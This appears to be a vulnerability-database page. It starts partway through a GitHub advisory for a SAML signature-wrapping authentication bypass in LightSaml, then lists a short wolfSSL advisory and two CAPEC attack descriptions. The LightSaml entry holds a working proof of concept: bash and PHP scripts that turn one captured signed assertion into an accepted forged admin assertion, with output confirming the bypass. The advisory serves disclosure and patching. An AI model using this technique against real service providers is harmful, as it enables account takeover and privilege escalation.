    "github_reviewed_at": "2026-11-16T22:08:38Z",
    "nvd_published_at": "2026-10-30T22:16:58Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nLightSaml 5.0.0 (latest release; also confirmed on 4.6.1) validates an inbound `samlp:Response` by collecting its direct-child `saml:Assertion` elements and validating each one\u0027s `ds:Signature` via robrichards/xmlseclibs. The two layers disagree on which element a signature actually covers: LightSaml reads claims from the assertion node it collected, while xmlseclibs resolves the signed `Reference URI=\"#id\"` with a document-wide `//*[@Id]` XPath that returns the first ID-bearing element anywhere in the document.\n\nAn attacker who has captured one genuine signed assertion can exploit this to surface attacker-authored, unsigned claims.\n\n### Details\n\n`Response::deserialize` collects assertions with `manyElementsFromXml`, whose relative XPath `saml:Assertion` matches only direct children of the `Response`. Each collected assertion is validated independently by `AssertionSignatureValidatorAction` against the out-of-band trusted IdP credential (resolved by Issuer entityId, never from the document):\n\nhttps://github.com/litesaml/lightsaml/blob/5.0.0/src/Model/Protocol/Response.php#L122\nhttps://github.com/litesaml/lightsaml/blob/5.0.0/src/Model/AbstractSamlModel.php#L93\nhttps://github.com/litesaml/lightsaml/blob/5.0.0/src/Action/Assertion/Inbound/AssertionSignatureValidatorAction.php#L28\n\nThe check delegates to xmlseclibs `XMLSecurityDSig::validateReference()`, which first removes the signature node being validated from the shared document (enveloped-signature removal):\n\n```php\nif (! $docElem-\u003eisSameNode($this-\u003esigNode)) {\n    if ($this-\u003esigNode-\u003eparentNode != null) {\n        $this-\u003esigNode-\u003eparentNode-\u003eremoveChild($this-\u003esigNode);   // strips sig from shared DOM\n    }\n}\n```\n\nhttps://github.com/robrichards/xmlseclibs/blob/3.1.5/src/XMLSecurityDSig.php#L596\n\n`processRefNode()` then resolves `URI=\"#id\"` document-wide and takes `item(0)`, the first ID-bearing element in the whole document, any name or namespace, not the one inside the signature\u0027s own subtree:\n\n```php\n$query = \u0027//*[\u0027.$iDlist.\u0027]\u0027;\n$dataObject = $xPath-\u003equery($query)-\u003eitem(0);\n```\n\nhttps://github.com/robrichards/xmlseclibs/blob/3.1.5/src/XMLSecurityDSig.php#L525\n\nSo the digest target xmlseclibs picks (`//*[@Id]` item(0), anywhere) which isn\u0027t necessarily the one from the previous phase. LightSaml then reads claims (Subject/NameID, Conditions, Attributes) from the node it collected:\n\nhttps://github.com/litesaml/lightsaml/blob/5.0.0/src/Model/Assertion/Assertion.php#L288\n\nAn example attacker buries the genuine signed bytes (the assertion with its `ds:Signature` element stripped) inside `samlp:Extensions`, so it is the first `@Id` element in document order but not a direct-child assertion. Present one forged direct-child assertion with the same `ID`, attacker claims, and a verbatim copy of the genuine `ds:Signature`:\n\n```xml\n\u003csamlp:Response xmlns:samlp=\"urn:oasis:names:tc:SAML:2.0:protocol\"\n                xmlns:saml=\"urn:oasis:names:tc:SAML:2.0:assertion\" ID=\"_resp\" Version=\"2.0\" IssueInstant=\"2024-01-01T00:00:00Z\"\u003e\n  \u003csaml:Issuer\u003ehttps://idp.example.com\u003c/saml:Issuer\u003e\n\n  \u003c!-- GENUINE signed bytes, buried in Extensions: first @Id document-wide (xmlseclibs picks this),\n       but NOT a direct-child assertion (LightSaml ignores it). Signature element removed so the\n       enveloped+exc-c14n digest target is the assertion sans Signature. --\u003e\n  \u003csamlp:Extensions\u003e\n    \u003csaml:Assertion ID=\"_signed_assertion\" Version=\"2.0\" IssueInstant=\"2024-01-01T00:00:00Z\"\u003e\n      \u003csaml:Issuer\u003ehttps://idp.example.com\u003c/saml:Issuer\u003e\n      \u003csaml:Subject\u003e\u003csaml:NameID\u003ealice@example.com\u003c/saml:NameID\u003e\u003c/saml:Subject\u003e\n      \u003csaml:Conditions NotBefore=\"2024-01-01T00:00:00Z\" NotOnOrAfter=\"2099-01-01T00:00:00Z\"/\u003e\n      \u003csaml:AttributeStatement\u003e\u003csaml:Attribute Name=\"role\"\u003e\u003csaml:AttributeValue\u003euser\u003c/saml:AttributeValue\u003e\u003c/saml:Attribute\u003e\u003c/saml:AttributeStatement\u003e\n    \u003c/saml:Assertion\u003e\n  \u003c/samlp:Extensions\u003e\n\n  \u003c!-- FORGED: the ONLY direct-child assertion LightSaml collects. SAME ID, attacker claims,\n       verbatim copy of the genuine ds:Signature. --\u003e\n  \u003csaml:Assertion ID=\"_signed_assertion\" Version=\"2.0\" IssueInstant=\"2024-01-01T00:00:00Z\"\u003e\n    \u003csaml:Issuer\u003ehttps://idp.example.com\u003c/saml:Issuer\u003e\n    \u003cds:Signature xmlns:ds=\"http://www.w3.org/2000/09/xmldsig#\"\u003e ...byte-for-byte copy of the genuine signature... \u003c/ds:Signature\u003e\n    \u003csaml:Subject\u003e\u003csaml:NameID\u003eattacker@evil.com\u003c/saml:NameID\u003e\u003c/saml:Subject\u003e\n    \u003csaml:Conditions NotBefore=\"2040-01-01T00:00:00Z\" NotOnOrAfter=\"2041-01-01T00:00:00Z\"/\u003e\n    \u003csaml:AttributeStatement\u003e\u003csaml:Attribute Name=\"role\"\u003e\u003csaml:AttributeValue\u003eadmin\u003c/saml:AttributeValue\u003e\u003c/saml:Attribute\u003e\u003c/saml:AttributeStatement\u003e\n  \u003c/saml:Assertion\u003e\n\u003c/samlp:Response\u003e\n```\n\n### PoC\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\nWORK=\"$(mktemp -d)\"; trap \u0027rm -rf \"$WORK\"\u0027 EXIT; cd \"$WORK\"\nIDP_ENTITY=\"https://idp.example.com\"; ASSERTION_ID=\"_signed_assertion\"\n\ncomposer require litesaml/lightsaml:5.0.0 --no-interaction --quiet\n\n# trusted IdP key + self-signed cert (out-of-band trust anchor)\nopenssl req -x509 -newkey rsa:2048 -keyout idp_key.pem -out idp_cert.pem -days 3650 -nodes \\\n  -subj \"/CN=idp.example.com\" \u003e/dev/null 2\u003e\u00261\n\n# genuine Response with one to-be-signed assertion\ncat \u003e genuine_tmpl.xml \u003c\u003cXML\n\u003csamlp:Response xmlns:samlp=\"urn:oasis:names:tc:SAML:2.0:protocol\"\n                xmlns:saml=\"urn:oasis:names:tc:SAML:2.0:assertion\"\n                ID=\"_resp\" Version=\"2.0\" IssueInstant=\"2024-01-01T00:00:00Z\"\u003e\n  \u003csaml:Issuer\u003e${IDP_ENTITY}\u003c/saml:Issuer\u003e\n  \u003csaml:Assertion ID=\"${ASSERTION_ID}\" Version=\"2.0\" IssueInstant=\"2024-01-01T00:00:00Z\"\u003e\n    \u003csaml:Issuer\u003e${IDP_ENTITY}\u003c/saml:Issuer\u003e\n    \u003cds:Signature xmlns:ds=\"http://www.w3.org/2000/09/xmldsig#\"\u003e\n      \u003cds:SignedInfo\u003e\n        \u003cds:CanonicalizationMethod Algorithm=\"http://www.w3.org/2001/10/xml-exc-c14n#\"/\u003e\n        \u003cds:SignatureMethod Algorithm=\"http://www.w3.org/2001/04/xmldsig-more#rsa-sha256\"/\u003e\n        \u003cds:Reference URI=\"#${ASSERTION_ID}\"\u003e\n          \u003cds:Transforms\u003e\n            \u003cds:Transform Algorithm=\"http://www.w3.org/2000/09/xmldsig#enveloped-signature\"/\u003e\n            \u003cds:Transform Algorithm=\"http://www.w3.org/2001/10/xml-exc-c14n#\"/\u003e\n          \u003c/ds:Transforms\u003e\n          \u003cds:DigestMethod Algorithm=\"http://www.w3.org/2001/04/xmlenc#sha256\"/\u003e\n          \u003cds:DigestValue\u003e\u003c/ds:DigestValue\u003e\n        \u003c/ds:Reference\u003e\n      \u003c/ds:SignedInfo\u003e\n      \u003cds:SignatureValue\u003e\u003c/ds:SignatureValue\u003e\n    \u003c/ds:Signature\u003e\n    \u003csaml:Subject\u003e\u003csaml:NameID\u003ealice@example.com\u003c/saml:NameID\u003e\u003c/saml:Subject\u003e\n    \u003csaml:Conditions NotBefore=\"2024-01-01T00:00:00Z\" NotOnOrAfter=\"2099-01-01T00:00:00Z\"/\u003e\n    \u003csaml:AttributeStatement\u003e\n      \u003csaml:Attribute Name=\"role\"\u003e\u003csaml:AttributeValue\u003euser\u003c/saml:AttributeValue\u003e\u003c/saml:Attribute\u003e\n    \u003c/saml:AttributeStatement\u003e\n  \u003c/saml:Assertion\u003e\n\u003c/samlp:Response\u003e\nXML\n\n# REAL signature over the genuine assertion (RSA-SHA256, enveloped + exc-c14n)\nxmlsec1 --sign --lax-key-search --privkey-pem idp_key.pem \\\n  --id-attr:ID \"urn:oasis:names:tc:SAML:2.0:assertion:Assertion\" \\\n  --output genuine_signed.xml genuine_tmpl.xml \u003e/dev/null\n\n# TAMPER: bury the genuine bytes (signature stripped) in samlp:Extensions as the first @Id element,\n# and make the ONLY direct-child assertion a forged one carrying a verbatim copy of the genuine\n# signature + attacker claims.\nphp -r \u0027\n$doc = new DOMDocument(); $doc-\u003eload(\"genuine_signed.xml\");\n$xp = new DOMXPath($doc);\n$xp-\u003eregisterNamespace(\"saml\",\"urn:oasis:names:tc:SAML:2.0:assertion\");\n$xp-\u003eregisterNamespace(\"ds\",\"http://www.w3.org/2000/09/xmldsig#\");\n$resp = $doc-\u003edocumentElement;\n$genuine = $xp-\u003equery(\"//saml:Assertion[@ID=\\\"_signed_assertion\\\"]\")-\u003eitem(0);\n$copiedSig = $doc-\u003esaveXML($xp-\u003equery(\"./ds:Signature\", $genuine)-\u003eitem(0));\n\n// buried = genuine clone WITHOUT its signature (the enveloped+exc-c14n digest target)\n$buried = $genuine-\u003ecloneNode(true);\n$buried-\u003eremoveChild($xp-\u003equery(\"./ds:Signature\", $buried)-\u003eitem(0));\n\n// forged = copied signature + attacker claims (the only direct-child assertion)\n$forged =\n  \"\u003csaml:Assertion xmlns:saml=\\\"urn:oasis:names:tc:SAML:2.0:assertion\\\" ID=\\\"_signed_assertion\\\" Version=\\\"2.0\\\" IssueInstant=\\\"2024-01-01T00:00:00Z\\\"\u003e\"\n  .\"\u003csaml:Issuer\u003ehttps://idp.example.com\u003c/saml:Issuer\u003e\".$copiedSig\n  .\"\u003csaml:Subject\u003e\u003csaml:NameID\u003eattacker@evil.com\u003c/saml:NameID\u003e\u003c/saml:Subject\u003e\"\n  .\"\u003csaml:Conditions NotBefore=\\\"2040-01-01T00:00:00Z\\\" NotOnOrAfter=\\\"2041-01-01T00:00:00Z\\\"/\u003e\"\n  .\"\u003csaml:AttributeStatement\u003e\u003csaml:Attribute Name=\\\"role\\\"\u003e\u003csaml:AttributeValue\u003eadmin\u003c/saml:AttributeValue\u003e\u003c/saml:Attribute\u003e\u003c/saml:AttributeStatement\u003e\"\n  .\"\u003c/saml:Assertion\u003e\";\n$frag = $doc-\u003ecreateDocumentFragment(); $frag-\u003eappendXML($forged);\n\n// Extensions(buried genuine) replaces the original assertion (first @Id, doc order); forged appended after\n$ext = $doc-\u003ecreateElementNS(\"urn:oasis:names:tc:SAML:2.0:protocol\",\"samlp:Extensions\");\n$ext-\u003eappendChild($buried);\n$resp-\u003ereplaceChild($ext, $genuine);\n$resp-\u003eappendChild($frag);\nfile_put_contents(\"tampered.xml\", $doc-\u003esaveXML());\n\u0027\n\n# SP consumer: LightSaml real per-assertion validation, pinned cert, requireSignature=true\ncat \u003e consumer.php \u003c\u003c\u0027PHP\u0027\n\u003c?php\nrequire __DIR__ . \u0027/vendor/autoload.php\u0027;\nuse LightSaml\\Action\\Assertion\\Inbound\\AssertionSignatureValidatorAction;\nuse LightSaml\\Context\\Profile\\{AssertionContext, ProfileContext};\nuse LightSaml\\Credential\\{UsageType, X509Certificate, X509Credential};\nuse LightSaml\\Context\\Model\\DeserializationContext;   // moved from Model\\Context in 5.0.0\nuse LightSaml\\Model\\Protocol\\SamlMessage;\nuse LightSaml\\Resolver\\Credential\\Factory\\CredentialResolverFactory;\nuse LightSaml\\Store\\Credential\\StaticCredentialStore;\nuse LightSaml\\Validator\\Model\\Signature\\SignatureValidator;\nuse Psr\\Log\\NullLogger;\n\n[$_, $xmlPath, $certPath, $idpEntityId] = $argv;\n$x509 = new X509Certificate(); $x509-\u003eloadPem(file_get_contents($certPath));   // pinned trust anchor\n$cred = new X509Credential($x509); $cred-\u003esetEntityId($idpEntityId); $cred-\u003esetUsageType(UsageType::SIGNING);\n$store = new StaticCredentialStore(); $store-\u003eadd($cred);\n$validator = new SignatureValidator((new CredentialResolverFactory($store))-\u003ebuild());\n$action = new AssertionSignatureValidatorAction(new NullLogger(), $validator, true); // requireSignature=true\n\n$message = SamlMessage::fromXML(file_get_contents($xmlPath), new DeserializationContext());\n$profile = new ProfileContext(\u0027profile\u0027, ProfileContext::ROLE_SP);\n$bypass = false;\necho \"assertions LightSaml collected: \" . count($message-\u003egetAllAssertions()) . \"\\n\";\nforeach ($message-\u003egetAllAssertions() as $i =\u003e $a) {\n    $nameId = ($a-\u003egetSubject() \u0026\u0026 $a-\u003egetSubject()-\u003egetNameID()) ? $a-\u003egetSubject()-\u003egetNameID()-\u003egetValue() : \u0027(none)\u0027;\n    $attrs = [];\n    foreach ($a-\u003egetAllAttributeStatements() as $s) foreach ($s-\u003egetAllAttributes() as $at)\n        $attrs[$at-\u003egetName()] = implode(\u0027,\u0027, array_map(fn($v) =\u003e (string)$v, $at-\u003egetAllAttributeValues()));\n    echo \"ASSERTION #$i  NameID=$nameId  Attributes=\".json_encode($attrs).\"\\n\";\n    $ctx = new AssertionContext(); $ctx-\u003esetAssertion($a); $ctx-\u003esetParent($profile);\n    try { $action-\u003eexecute($ctx); $r = \u0027ACCEPTED\u0027; } catch (\\Throwable $e) { $r = \u0027REJECTED: \u0027.$e-\u003egetMessage(); }\n    echo \"  LightSaml validation: $r\\n\";\n    if ($r === \u0027ACCEPTED\u0027 \u0026\u0026 (strpos($nameId,\u0027evil.com\u0027) !== false || ($attrs[\u0027role\u0027] ?? \u0027\u0027) === \u0027admin\u0027)) {\n        $bypass = true; echo \"  \u003e\u003e\u003e BYPASS: forged assertion validated AND attacker claims surfaced\\n\";\n    }\n}\necho $bypass ? \"RESULT: BYPASS CONFIRMED\\n\" : \"RESULT: no bypass\\n\";\nexit($bypass ? 0 : 1);\nPHP\n\nphp consumer.php tampered.xml idp_cert.pem \"$IDP_ENTITY\"\n```\n\nObserved output:\n\n```\nassertions LightSaml collected: 1\nASSERTION #0  NameID=attacker@evil.com  Attributes={\"role\":\"admin\"}\n  LightSaml validation: ACCEPTED\n  \u003e\u003e\u003e BYPASS: forged assertion validated AND attacker claims surfaced\nRESULT: BYPASS CONFIRMED\n```\n\n### Impact\n\nAuthentication bypass / privilege escalation. An attacker who has captured one genuine signed assertion (e.g. their own prior login response) can have LightSaml accept a single, fully attacker-authored assertion as IdP-signed.",
  "id": "GHSA-w553-pwx6-3mg9",
  "modified": "2026-11-16T22:08:38Z",
  "published": "2026-11-16T22:08:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/litesaml/lightsaml/security/advisories/GHSA-w553-pwx6-3mg9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63182"
    },
    {
      "type": "WEB",
      "url": "https://github.com/litesaml/lightsaml/pull/113"
    },
    {
      "type": "WEB",
      "url": "https://github.com/litesaml/lightsaml/pull/122"
    },
    {
      "type": "WEB",
      "url": "https://github.com/litesaml/lightsaml/commit/230e62d1325f2cbcaac814b78409775f7a8806a2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/litesaml/lightsaml/commit/3af82bf2f3865e6aafeeb1a97c97b383b8bb7b00"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/litesaml/lightsaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/litesaml/lightsaml/releases/tag/4.7.1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/litesaml/lightsaml/releases/tag/5.0.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "lightsaml allows Signature wrapping bypass"
}

GHSA-W5PP-V599-FPJP

Vulnerability from github – Published: 2022-05-24 17:05 – Updated: 2024-04-04 02:45
VLAI
Details

wolfSSL before 4.3.0 mishandles calls to wc_SignatureGenerateHash, leading to fault injection in RSA cryptography.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2019-19962"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-327",
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-12-25T00:15:00Z",
    "severity": "HIGH"
  },
  "details": "wolfSSL before 4.3.0 mishandles calls to wc_SignatureGenerateHash, leading to fault injection in RSA cryptography.",
  "id": "GHSA-w5pp-v599-fpjp",
  "modified": "2024-04-04T02:45:15Z",
  "published": "2022-05-24T17:05:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-19962"
    },
    {
      "type": "WEB",
      "url": "https://github.com/wolfSSL/wolfssl/commit/23878512c65834d12811b1107d19a001478eca5d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/wolfSSL/wolfssl/releases/tag/v4.3.0-stable"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-463: Padding Oracle Crypto Attack

An adversary is able to efficiently decrypt data without knowing the decryption key if a target system leaks data on whether or not a padding error happened while decrypting the ciphertext. A target system that leaks this type of information becomes the padding oracle and an adversary is able to make use of that oracle to efficiently decrypt data without knowing the decryption key by issuing on average 128*b calls to the padding oracle (where b is the number of bytes in the ciphertext block). In addition to performing decryption, an adversary is also able to produce valid ciphertexts (i.e., perform encryption) by using the padding oracle, all without knowing the encryption key.

CAPEC-475: Signature Spoofing by Improper Validation

An adversary exploits a cryptographic weakness in the signature verification algorithm implementation to generate a valid signature without knowing the key.